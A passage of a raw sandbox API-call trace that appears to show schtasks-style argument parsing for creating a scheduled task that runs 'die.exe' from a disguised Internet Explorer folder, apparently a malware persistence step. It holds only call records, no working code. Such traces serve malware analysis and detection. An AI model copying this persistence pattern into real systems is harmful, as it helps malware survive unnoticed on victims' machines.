_Format="|%s|", _ArgList=0xdc4e8 | out: _Buffer="|p|") returned 3 [0077.929] _vsnwprintf (in: _Buffer=0x17c370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc4e8 | out: _Buffer="|tr|") returned 4 [0077.929] lstrlenW (lpString="|p|") returned 3 [0077.929] lstrlenW (lpString="|tr|") returned 4 [0077.929] SetLastError (dwErrCode=0x490) [0077.929] lstrlenW (lpString="ru") returned 2 [0077.929] lstrlenW (lpString="ru") returned 2 [0077.929] _memicmp (_Buf1=0x17c210, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.929] lstrlenW (lpString="tr") returned 2 [0077.929] _memicmp (_Buf1=0x17c350, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.929] _vsnwprintf (in: _Buffer=0x17c390, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc4e8 | out: _Buffer="|ru|") returned 4 [0077.929] _vsnwprintf (in: _Buffer=0x17c370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc4e8 | out: _Buffer="|tr|") returned 4 [0077.929] lstrlenW (lpString="|ru|") returned 4 [0077.929] lstrlenW (lpString="|tr|") returned 4 [0077.929] StrStrIW (lpFirst="|ru|", lpSrch="|tr|") returned 0x0 [0077.930] SetLastError (dwErrCode=0x490) [0077.930] lstrlenW (lpString="rp") returned 2 [0077.930] lstrlenW (lpString="rp") returned 2 [0077.930] _memicmp (_Buf1=0x17c210, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.930] lstrlenW (lpString="tr") returned 2 [0077.930] _memicmp (_Buf1=0x17c350, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.930] _vsnwprintf (in: _Buffer=0x17c390, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc4e8 | out: _Buffer="|rp|") returned 4 [0077.930] _vsnwprintf (in: _Buffer=0x17c370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc4e8 | out: _Buffer="|tr|") returned 4 [0077.931] lstrlenW (lpString="|rp|") returned 4 [0077.931] lstrlenW (lpString="|tr|") returned 4 [0077.931] StrStrIW (lpFirst="|rp|", lpSrch="|tr|") returned 0x0 [0077.931] SetLastError (dwErrCode=0x490) [0077.931] lstrlenW (lpString="sc") returned 2 [0077.931] lstrlenW (lpString="sc") returned 2 [0077.931] _memicmp (_Buf1=0x17c210, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.931] lstrlenW (lpString="tr") returned 2 [0077.931] _memicmp (_Buf1=0x17c350, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.931] _vsnwprintf (in: _Buffer=0x17c390, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc4e8 | out: _Buffer="|sc|") returned 4 [0077.931] _vsnwprintf (in: _Buffer=0x17c370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc4e8 | out: _Buffer="|tr|") returned 4 [0077.931] lstrlenW (lpString="|sc|") returned 4 [0077.931] lstrlenW (lpString="|tr|") returned 4 [0077.931] StrStrIW (lpFirst="|sc|", lpSrch="|tr|") returned 0x0 [0077.931] SetLastError (dwErrCode=0x490) [0077.931] lstrlenW (lpString="mo") returned 2 [0077.931] lstrlenW (lpString="mo") returned 2 [0077.932] _memicmp (_Buf1=0x17c210, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.932] lstrlenW (lpString="tr") returned 2 [0077.932] _memicmp (_Buf1=0x17c350, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.932] _vsnwprintf (in: _Buffer=0x17c390, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc4e8 | out: _Buffer="|mo|") returned 4 [0077.932] _vsnwprintf (in: _Buffer=0x17c370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc4e8 | out: _Buffer="|tr|") returned 4 [0077.932] lstrlenW (lpString="|mo|") returned 4 [0077.932] lstrlenW (lpString="|tr|") returned 4 [0077.932] StrStrIW (lpFirst="|mo|", lpSrch="|tr|") returned 0x0 [0077.932] SetLastError (dwErrCode=0x490) [0077.932] lstrlenW (lpString="d") returned 1 [0077.932] lstrlenW (lpString="d") returned 1 [0077.932] _memicmp (_Buf1=0x17c210, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.932] lstrlenW (lpString="tr") returned 2 [0077.932] _memicmp (_Buf1=0x17c350, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.932] _vsnwprintf (in: _Buffer=0x17c390, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc4e8 | out: _Buffer="|d|") returned 3 [0077.932] _vsnwprintf (in: _Buffer=0x17c370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc4e8 | out: _Buffer="|tr|") returned 4 [0077.932] lstrlenW (lpString="|d|") returned 3 [0077.933] lstrlenW (lpString="|tr|") returned 4 [0077.933] SetLastError (dwErrCode=0x490) [0077.933] lstrlenW (lpString="m") returned 1 [0077.933] lstrlenW (lpString="m") returned 1 [0077.933] _memicmp (_Buf1=0x17c210, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.933] lstrlenW (lpString="tr") returned 2 [0077.933] _memicmp (_Buf1=0x17c350, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.933] _vsnwprintf (in: _Buffer=0x17c390, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc4e8 | out: _Buffer="|m|") returned 3 [0077.933] _vsnwprintf (in: _Buffer=0x17c370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc4e8 | out: _Buffer="|tr|") returned 4 [0077.933] lstrlenW (lpString="|m|") returned 3 [0077.933] lstrlenW (lpString="|tr|") returned 4 [0077.933] SetLastError (dwErrCode=0x490) [0077.933] lstrlenW (lpString="i") returned 1 [0077.933] lstrlenW (lpString="i") returned 1 [0077.933] _memicmp (_Buf1=0x17c210, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.933] lstrlenW (lpString="tr") returned 2 [0077.933] _memicmp (_Buf1=0x17c350, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.933] _vsnwprintf (in: _Buffer=0x17c390, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc4e8 | out: _Buffer="|i|") returned 3 [0077.933] _vsnwprintf (in: _Buffer=0x17c370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc4e8 | out: _Buffer="|tr|") returned 4 [0077.933] lstrlenW (lpString="|i|") returned 3 [0077.933] lstrlenW (lpString="|tr|") returned 4 [0077.933] SetLastError (dwErrCode=0x490) [0077.933] lstrlenW (lpString="tn") returned 2 [0077.933] lstrlenW (lpString="tn") returned 2 [0077.933] _memicmp (_Buf1=0x17c210, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.933] lstrlenW (lpString="tr") returned 2 [0077.933] _memicmp (_Buf1=0x17c350, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.933] _vsnwprintf (in: _Buffer=0x17c390, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc4e8 | out: _Buffer="|tn|") returned 4 [0077.933] _vsnwprintf (in: _Buffer=0x17c370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc4e8 | out: _Buffer="|tr|") returned 4 [0077.933] lstrlenW (lpString="|tn|") returned 4 [0077.934] lstrlenW (lpString="|tr|") returned 4 [0077.934] StrStrIW (lpFirst="|tn|", lpSrch="|tr|") returned 0x0 [0077.934] SetLastError (dwErrCode=0x490) [0077.934] lstrlenW (lpString="tr") returned 2 [0077.934] lstrlenW (lpString="tr") returned 2 [0077.934] _memicmp (_Buf1=0x17c210, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.934] lstrlenW (lpString="tr") returned 2 [0077.934] _memicmp (_Buf1=0x17c350, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.934] _vsnwprintf (in: _Buffer=0x17c390, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc4e8 | out: _Buffer="|tr|") returned 4 [0077.934] _vsnwprintf (in: _Buffer=0x17c370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc4e8 | out: _Buffer="|tr|") returned 4 [0077.934] lstrlenW (lpString="|tr|") returned 4 [0077.934] lstrlenW (lpString="|tr|") returned 4 [0077.934] StrStrIW (lpFirst="|tr|", lpSrch="|tr|") returned="|tr|" [0077.934] SetLastError (dwErrCode=0x0) [0077.934] SetLastError (dwErrCode=0x0) [0077.934] lstrlenW (lpString="'C:\\Program Files (x86)\\Internet Explorer\\SIGNUP\\die.exe'") returned 57 [0077.934] lstrlenW (lpString="-/") returned 2 [0077.934] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0077.934] SetLastError (dwErrCode=0x490) [0077.934] SetLastError (dwErrCode=0x490) [0077.934] SetLastError (dwErrCode=0x0) [0077.934] lstrlenW (lpString="'C:\\Program Files (x86)\\Internet Explorer\\SIGNUP\\die.exe'") returned 57 [0077.934] StrChrIW (lpStart="'C:\\Program Files (x86)\\Internet Explorer\\SIGNUP\\die.exe'", wMatch=0x3a) returned=":\\Program Files (x86)\\Internet Explorer\\SIGNUP\\die.exe'" [0077.934] lstrlenW (lpString="'C:\\Program Files (x86)\\Internet Explorer\\SIGNUP\\die.exe'") returned 57 [0077.934] _memicmp (_Buf1=0x17c480, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.934] _memicmp (_Buf1=0x17d650, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.934] SetLastError (dwErrCode=0x7a) [0077.934] SetLastError (dwErrCode=0x0) [0077.934] SetLastError (dwErrCode=0x0) [0077.934] lstrlenW (lpString="'C") returned 2 [0077.935] lstrlenW (lpString="-/") returned 2 [0077.935] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0077.935] SetLastError (dwErrCode=0x490) [0077.935] SetLastError (dwErrCode=0x490) [0077.935] SetLastError (dwErrCode=0x0) [0077.935] _memicmp (_Buf1=0x17d6b0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.935] lstrlenW (lpString="'C:\\Program Files (x86)\\Internet Explorer\\SIGNUP\\die.exe'") returned 57 [0077.935] GetProcessHeap () returned 0x160000 [0077.935] HeapValidate (hHeap=0x160000, dwFlags=0x0, lpMem=0x17d6d0) returned 1 [0077.935] GetProcessHeap () returned 0x160000 [0077.935] RtlReAllocateHeap (Heap=0x160000, Flags=0xc, Ptr=0x17d6d0, Size=0x74) returned 0x17c3c0 [0077.935] lstrlenW (lpString="'C:\\Program Files (x86)\\Internet Explorer\\SIGNUP\\die.exe'") returned 57 [0077.935] lstrlenW (lpString=" \x09") returned 2 [0077.935] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0077.935] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0077.935] StrChrW (lpStart=" \x09", wMatch=0x43) returned 0x0 [0077.935] StrChrW (lpStart=" \x09", wMatch=0x3a) returned 0x0 [0077.935] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0077.935] StrChrW (lpStart=" \x09", wMatch=0x50) returned 0x0 [0077.935] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0077.935] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0077.935] StrChrW (lpStart=" \x09", wMatch=0x67) returned 0x0 [0077.935] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0077.935] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0077.935] StrChrW (lpStart=" \x09", wMatch=0x6d) returned 0x0 [0077.935] StrChrW (lpStart=" \x09", wMatch=0x20) returned=" \x09" [0077.935] StrChrW (lpStart=" \x09", wMatch=0x46) returned 0x0 [0077.935] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0077.935] StrChrW (lpStart=" \x09", wMatch=0x6c) returned 0x0 [0077.935] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0077.935] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0077.935] StrChrW (lpStart=" \x09", wMatch=0x20) returned=" \x09" [0077.936] StrChrW (lpStart=" \x09", wMatch=0x28) returned 0x0 [0077.936] StrChrW (lpStart=" \x09", wMatch=0x78) returned 0x0 [0077.936] StrChrW (lpStart=" \x09", wMatch=0x38) returned 0x0 [0077.936] StrChrW (lpStart=" \x09", wMatch=0x36) returned 0x0 [0077.936] StrChrW (lpStart=" \x09", wMatch=0x29) returned 0x0 [0077.936] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0077.936] StrChrW (lpStart=" \x09", wMatch=0x49) returned 0x0 [0077.936] StrChrW (lpStart=" \x09", wMatch=0x6e) returned 0x0 [0077.936] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0 [0077.936] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0077.936] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0077.936] StrChrW (lpStart=" \x09", wMatch=0x6e) returned 0x0 [0077.936] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0077.936] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0 [0077.936] StrChrW (lpStart=" \x09", wMatch=0x20) returned=" \x09" [0077.936] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0077.936] StrChrW (lpStart=" \x09", wMatch=0x78) returned 0x0 [0077.936] StrChrW (lpStart=" \x09", wMatch=0x70) returned 0x0 [0077.936] StrChrW (lpStart=" \x09", wMatch=0x6c) returned 0x0 [0077.936] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0077.936] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0077.936] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0077.936] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0077.936] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0077.936] StrChrW (lpStart=" \x09", wMatch=0x53) returned 0x0 [0077.936] StrChrW (lpStart=" \x09", wMatch=0x49) returned 0x0 [0077.936] StrChrW (lpStart=" \x09", wMatch=0x47) returned 0x0 [0077.936] StrChrW (lpStart=" \x09", wMatch=0x4e) returned 0x0 [0077.936] StrChrW (lpStart=" \x09", wMatch=0x55) returned 0x0 [0077.936] StrChrW (lpStart=" \x09", wMatch=0x50) returned 0x0 [0077.936] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0077.936] StrChrW (lpStart=" \x09", wMatch=0x64) returned 0x0 [0077.937] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0077.937] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0077.937] StrChrW (lpStart=" \x09", wMatch=0x2e) returned 0x0 [0077.937] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0077.937] StrChrW (lpStart=" \x09", wMatch=0x78) returned 0x0 [0077.937] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0077.937] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0077.937] GetLastError () returned 0x0 [0077.937] lstrlenW (lpString="'C:\\Program Files (x86)\\Internet Explorer\\SIGNUP\\die.exe'") returned 57 [0077.937] lstrlenW (lpString="'C:\\Program Files (x86)\\Internet Explorer\\SIGNUP\\die.exe'") returned 57 [0077.937] SetLastError (dwErrCode=0x0) [0077.937] SetLastError (dwErrCode=0x0) [0077.937] lstrlenW (lpString="/rl") returned 3 [0077.937] lstrlenW (lpString="-/") returned 2 [0077.937] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0077.937] lstrlenW (lpString="create") returned 6 [0077.937] lstrlenW (lpString="create") returned 6 [0077.937] _memicmp (_Buf1=0x17c210, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.937] lstrlenW (lpString="rl") returned 2 [0077.937] _memicmp (_Buf1=0x17c350, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.937] _vsnwprintf (in: _Buffer=0x17c390, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdc4e8 | out: _Buffer="|create|") returned 8 [0077.937] _vsnwprintf (in: _Buffer=0x17c370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc4e8 | out: _Buffer="|rl|") returned 4 [0077.937] lstrlenW (lpString="|create|") returned 8 [0077.937] lstrlenW (lpString="|rl|") returned 4 [0077.937] StrStrIW (lpFirst="|create|", lpSrch="|rl|") returned 0x0 [0077.937] SetLastError (dwErrCode=0x490) [0077.937] lstrlenW (lpString="?") returned 1 [0077.937] lstrlenW (lpString="?") returned 1 [0077.937] _memicmp (_Buf1=0x17c210, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.938] lstrlenW (lpString="rl") returned 2 [0077.938] _memicmp (_Buf1=0x17c350, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.938] _vsnwprintf (in: _Buffer=0x17c390, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc4e8 | out: _Buffer="|?|") returned 3 [0077.938] _vsnwprintf (in: _Buffer=0x17c370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc4e8 | out: _Buffer="|rl|") returned 4 [0077.938] lstrlenW (lpString="|?|") returned 3 [0077.938] lstrlenW (lpString="|rl|") returned 4 [0077.938] SetLastError (dwErrCode=0x490) [0077.938] lstrlenW (lpString="s") returned 1 [0077.938] lstrlenW (lpString="s") returned 1 [0077.938] _memicmp (_Buf1=0x17c210, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.938] lstrlenW (lpString="rl") returned 2 [0077.938] _memicmp (_Buf1=0x17c350, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.938] _vsnwprintf (in: _Buffer=0x17c390, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc4e8 | out: _Buffer="|s|") returned 3 [0077.938] _vsnwprintf (in: _Buffer=0x17c370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc4e8 | out: _Buffer="|rl|") returned 4 [0077.938] lstrlenW (lpString="|s|") returned 3 [0077.938] lstrlenW (lpString="|rl|") returned 4 [0077.938] SetLastError (dwErrCode=0x490) [0077.938] lstrlenW (lpString="u") returned 1 [0077.938] lstrlenW (lpString="u") returned 1 [0077.938] _memicmp (_Buf1=0x17c210, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.938] lstrlenW (lpString="rl") returned 2 [0077.938] _memicmp (_Buf1=0x17c350, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.938] _vsnwprintf (in: _Buffer=0x17c390, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc4e8 | out: _Buffer="|u|") returned 3 [0077.938] _vsnwprintf (in: _Buffer=0x17c370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc4e8 | out: _Buffer="|rl|") returned 4 [0077.938] lstrlenW (lpString="|u|") returned 3 [0077.938] lstrlenW (lpString="|rl|") returned 4 [0077.938] SetLastError (dwErrCode=0x490) [0077.938] lstrlenW (lpString="p") returned 1 [0077.939] lstrlenW (lpString="p") returned 1 [0077.939] _memicmp (_Buf1=0x17c210, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.939] lstrlenW (lpString="rl") returned 2 [0077.939] _memicmp (_Buf1=0x17c350, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.939] _vsnwprintf (in: _Buffer=0x17c390, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc4e8 | out: _Buffer="|p|") returned 3 [0077.939] _vsnwprintf (in: _Buffer=0x17c370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc4e8 | out: _Buffer="|rl|") returned 4 [0077.939] lstrlenW (lpString="|p|") returned 3 [0077.939] lstrlenW (lpString="|rl|") returned 4 [0077.939] SetLastError (dwErrCode=0x490) [0077.939] lstrlenW (lpString="ru") returned 2 [0077.939] lstrlenW (lpString="ru") returned 2 [0077.939] _memicmp (_Buf1=0x17c210, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.939] lstrlenW (lpString="rl") returned 2 [0077.939] _memicmp (_Buf1=0x17c350, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.939] _vsnwprintf (in: _Buffer=0x17c390, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc4e8 | out: _Buffer="|ru|") returned 4 [0077.939] _vsnwprintf (in: _Buffer=0x17c370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc4e8 | out: _Buffer="|rl|") returned 4 [0077.939] lstrlenW (lpString="|ru|") returned 4 [0077.939] lstrlenW (lpString="|rl|") returned 4 [0077.939] StrStrIW (lpFirst="|ru|", lpSrch="|rl|") returned 0x0 [0077.939] SetLastError (dwErrCode=0x490) [0077.939] lstrlenW (lpString="rp") returned 2 [0077.939] lstrlenW (lpString="rp") returned 2 [0077.939] _memicmp (_Buf1=0x17c210, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.939] lstrlenW (lpString="rl") returned 2 [0077.939] _memicmp (_Buf1=0x17c350, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.939] _vsnwprintf (in: _Buffer=0x17c390, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc4e8 | out: _Buffer="|rp|") returned 4 [0077.939] _vsnwprintf (in: _Buffer=0x17c370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc4e8 | out: _Buffer="|rl|") returned 4 [0077.940] lstrlenW (lpString="|rp|") returned 4 [0077.940] lstrlenW (lpString="|rl|") returned 4 [0077.940] StrStrIW (lpFirst="|rp|", lpSrch="|rl|") returned 0x0 [0077.940] SetLastError (dwErrCode=0x490) [0077.940] lstrlenW (lpString="sc") returned 2 [0077.940] lstrlenW (lpString="sc") returned 2 [0077.940] _memicmp (_Buf1=0x17c210, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.940] lstrlenW (lpString="rl") returned 2 [0077.940] _memicmp (_Buf1=0x17c350, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.940] _vsnwprintf (in: _Buffer=0x17c390, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc4e8 | out: _Buffer="|sc|") returned 4 [0077.940] _vsnwprintf (in: _Buffer=0x17c370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc4e8 | out: _Buffer="|rl|") returned 4 [0077.940] lstrlenW (lpString="|sc|") returned 4 [0077.940] lstrlenW (lpString="|rl|") returned 4 [0077.940] StrStrIW (lpFirst="|sc|", lpSrch="|rl|") returned 0x0 [0077.940] SetLastError (dwErrCode=0x490) [0077.940] lstrlenW (lpString="mo") returned 2 [0077.940] lstrlenW (lpString="mo") returned 2 [0077.940] _memicmp (_Buf1=0x17c210, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.940] _memicmp (_Buf1=0x17c350, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.940] _vsnwprintf (in: _Buffer=0x17c390, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc4e8 | out: _Buffer="|mo|") returned 4 [0077.940] _vsnwprintf (in: _Buffer=0x17c370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc4e8 | out: _Buffer="|rl|") returned 4 [0077.940] lstrlenW (lpString="|mo|") returned 4 [0077.940] lstrlenW (lpString="|rl|") returned 4 [0077.940] StrStrIW (lpFirst="|mo|", lpSrch="|rl|") returned 0x0 [0077.940] SetLastError (dwErrCode=0x490) [0077.940] lstrlenW (lpString="d") returned 1 [0077.940] lstrlenW (lpString="d") returned 1 [0077.940] _memicmp (_Buf1=0x17c210, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.941] _memicmp (_Buf1=0x17c350, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.941] _vsnwprintf (in: _Buffer=0x17c390, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc4e8 | out: _Buffer="|d|") returned 3 [0077.941] _vsnwprintf (in: _Buffer=0x17c370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc4e8 | out: _Buffer="|rl|") returned 4 [0077.941] lstrlenW (lpString="|d|") returned 3 [0077.941] lstrlenW (lpString="|rl|") returned 4 [0077.941] SetLastError (dwErrCode=0x490) [0077.941] lstrlenW (lpString="m") returned 1 [0077.941] lstrlenW (lpString="m") returned 1 [0077.941] _memicmp (_Buf1=0x17c210, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.941] _memicmp (_Buf1=0x17c350, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.941] _vsnwprintf (in: _Buffer=0x17c390, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc4e8 | out: _Buffer="|m|") returned 3 [0077.941] _vsnwprintf (in: _Buffer=0x17c370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc4e8 | out: _Buffer="|rl|") returned 4 [0077.941] lstrlenW (lpString="|m|") returned 3 [0077.941] lstrlenW (lpString="|rl|") returned 4 [0077.941] SetLastError (dwErrCode=0x490) [0077.941] lstrlenW (lpString="i") returned 1 [0077.941] lstrlenW (lpString="i") returned 1 [0077.941] _memicmp (_Buf1=0x17c210, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.941] _memicmp (_Buf1=0x17c350, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.941] _vsnwprintf (in: _Buffer=0x17c390, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc4e8 | out: _Buffer="|i|") returned 3 [0077.941] _vsnwprintf (in: _Buffer=0x17c370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc4e8 | out: _Buffer="|rl|") returned 4 [0077.941] lstrlenW (lpString="|i|") returned 3 [0077.941] lstrlenW (lpString="|rl|") returned 4 [0077.941] SetLastError (dwErrCode=0x490) [0077.941] lstrlenW (lpString="tn") returned 2 [0077.941] lstrlenW (lpString="tn") returned 2 [0077.941] _memicmp (_Buf1=0x17c210, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.941] _memicmp (_Buf1=0x17c350, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.941] _vsnwprintf (in: _Buffer=0x17c390, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc4e8 | out: _Buffer="|tn|") returned 4 [0077.942] _vsnwprintf (in: _Buffer=0x17c370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc4e8 | out: _Buffer="|rl|") returned 4 [0077.942] lstrlenW (lpString="|tn|") returned 4 [0077.942] lstrlenW (lpString="|rl|") returned 4 [0077.942] StrStrIW (lpFirst="|tn|", lpSrch="|rl|") returned 0x0 [0077.942] SetLastError (dwErrCode=0x490) [0077.942] lstrlenW (lpString="tr") returned 2 [0077.942] lstrlenW (lpString="tr") returned 2 [0077.942] _memicmp (_Buf1=0x17c210, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.942] _memicmp (_Buf1=0x17c350, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.942] _vsnwprintf (in: _Buffer=0x17c390, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc4e8 | out: _Buffer="|tr|") returned 4 [0077.942] _vsnwprintf (in: _Buffer=0x17c370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc4e8 | out: _Buffer="|rl|") returned 4 [0077.942] lstrlenW (lpString="|tr|") returned 4 [0077.942] lstrlenW (lpString="|rl|") returned 4 [0077.942] StrStrIW (lpFirst="|tr|", lpSrch="|rl|") returned 0x0 [0077.942] SetLastError (dwErrCode=0x490) [0077.942] lstrlenW (lpString="st") returned 2 [0077.942] lstrlenW (lpString="st") returned 2 [0077.942] _memicmp (_Buf1=0x17c210, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.942] _memicmp (_Buf1=0x17c350, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.942] _vsnwprintf (in: _Buffer=0x17c390, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc4e8 | out: _Buffer="|st|") returned 4 [0077.942] _vsnwprintf (in: _Buffer=0x17c370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc4e8 | out: _Buffer="|rl|") returned 4 [0077.942] lstrlenW (lpString="|st|") returned 4 [0077.942] lstrlenW (lpString="|rl|") returned 4 [0077.942] StrStrIW (lpFirst="|st|", lpSrch="|rl|") returned 0x0 [0077.942] SetLastError (dwErrCode=0x490) [0077.942] lstrlenW (lpString="sd") returned 2 [0077.942] lstrlenW (lpString="sd") returned 2 [0077.942] _memicmp (_Buf1=0x17c210, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.942] _memicmp (_Buf1=0x17c350, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.942] _vsnwprintf (in: _Buffer=0x17c390, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc4e8 | out: _Buffer="|sd|") returned 4 [0077.943] _vsnwprintf (in: _Buffer=0x17c370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc4e8 | out: _Buffer="|rl|") returned 4 [0077.943] lstrlenW (lpString="|sd|") returned 4 [0077.943] lstrlenW (lpString="|rl|") returned 4 [0077.943] StrStrIW (lpFirst="|sd|", lpSrch="|rl|") returned 0x0 [0077.943] SetLastError (dwErrCode=0x490) [0077.943] lstrlenW (lpString="ed") returned 2 [0077.943] lstrlenW (lpString="ed") returned 2 [0077.943] _memicmp (_Buf1=0x17c210, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.943] _memicmp (_Buf1=0x17c350, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.943] _vsnwprintf (in: _Buffer=0x17c390, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc4e8 | out: _Buffer="|ed|") returned 4 [0077.943] _vsnwprintf (in: _Buffer=0x17c370, _BufferCount=0x5, _Format="|%s|", 